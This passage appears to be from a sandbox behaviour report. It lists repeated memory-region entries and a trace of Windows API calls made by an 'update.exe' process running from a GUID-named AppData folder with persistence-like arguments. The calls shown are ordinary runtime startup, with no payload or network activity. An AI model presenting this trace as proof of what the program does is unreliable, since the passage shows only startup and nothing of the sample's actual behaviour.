"private_0x00000000005e0000" filename = "" Region: id = 3646 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3647 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3648 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3649 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3650 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3651 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3652 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3653 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3654 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3655 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3656 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3657 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3658 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3659 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3660 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3661 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3662 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3663 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3664 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3665 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3666 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3667 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3668 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3669 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3670 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3671 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3672 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3673 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3674 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3675 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3676 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3677 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3678 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3679 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3680 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3681 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3682 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3683 start_va = 0x29b0000 end_va = 0x29d5fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 3684 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3685 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3686 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3687 start_va = 0x29b0000 end_va = 0x29d5fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 3688 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3689 start_va = 0x5e0000 end_va = 0x5effff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3690 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3691 start_va = 0x29b0000 end_va = 0x29d5fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 3692 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3693 start_va = 0x29b0000 end_va = 0x29d5fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 3694 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3695 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3696 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3697 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3698 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3699 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3700 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3701 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3702 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3703 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 3704 start_va = 0x1f50000 end_va = 0x1f75fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3705 start_va = 0x5e0000 end_va = 0x5e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Thread: id = 88 os_tid = 0x6b0 [0109.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xc884fb10, dwHighDateTime=0x1d4800f)) [0109.631] GetCurrentProcessId () returned 0x68c [0109.631] GetCurrentThreadId () returned 0x6b0 [0109.631] GetTickCount () returned 0x8999 [0109.631] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=1807918700000) returned 1 [0109.631] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0109.633] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0109.633] GetProcAddress (hModule=0x773e0000, lpProcName="FlsAlloc") returned 0x773f4f2b [0109.633] GetProcAddress (hModule=0x773e0000, lpProcName="FlsGetValue") returned 0x773f1252 [0109.633] GetProcAddress (hModule=0x773e0000, lpProcName="FlsSetValue") returned 0x773f4208 [0109.633] GetProcAddress (hModule=0x773e0000, lpProcName="FlsFree") returned 0x773f359f [0109.633] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0109.634] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0109.634] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0109.634] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0109.634] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0109.634] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0109.634] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0109.634] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0109.635] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0109.635] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0109.635] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0109.635] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0109.635] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0109.635] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0109.636] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0109.636] GetProcAddress (hModule=0x773e0000, lpProcName="DecodePointer") returned 0x77ac9d35 [0109.636] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0109.636] GetProcAddress (hModule=0x773e0000, lpProcName="DecodePointer") returned 0x77ac9d35 [0109.636] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x773e0000 [0109.636] GetProcAddress (hModule=0x773e0000, lpProcName="EncodePointer") returned 0x77ad0fcb [0109.636] GetProcAddress (hModule=0x773e0000, lpProcName="DecodePointer") returned 0x77ac9d35 [0109.637] GetCurrentThreadId () returned 0x6b0 [0109.637] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0109.637] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0109.637] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0109.637] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0109.637] SetHandleCount (uNumber=0x20) returned 0x20 [0109.637] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe\" --Admin IsAutoStart IsNotTask" [0109.637] GetEnvironmentStringsW () returned 0x6024e0* [0109.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0109.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x2411f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0109.637] FreeEnvironmentStringsW (penv=0x6024e0) returned 1 [0109.637] GetLastError () returned 0x0 [0109.637] SetLastError (dwErrCode=0x0) [0109.637] GetLastError () returned 0x0 [0109.638] SetLastError (dwErrCode=0x0) [0109.638] GetLastError () returned 0x0 [0109.638] SetLastError (dwErrCode=0x0) [0109.638] GetACP () returned 0x4e4 [0109.638] GetLastError () returned 0x0 [0109.638] SetLastError (dwErrCode=0x0) [0109.638] IsValidCodePage (CodePage=0x4e4) returned 1 [0109.638] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.638] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0109.638] GetLastError () returned 0x0 [0109.638] SetLastError (dwErrCode=0x0) [0109.638] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0109.638] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0109.638] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0109.638] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0109.638] GetLastError () returned 0x0 [0109.638] SetLastError (dwErrCode=0x0) [0109.638] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0109.638] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0109.638] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᛜḦ뮓@Ā") returned 256 [0109.639] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᛜḦ뮓@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0109.639] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᛜḦ뮓@Ā", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0109.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x16\xa3\x01\x38\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0109.639] GetLastError () returned 0x0 [0109.639] SetLastError (dwErrCode=0x0) [0109.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0109.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᛜḦ뮓@Ā") returned 256 [0109.639] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᛜḦ뮓@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0109.639] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿᛜḦ뮓@Ā", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ 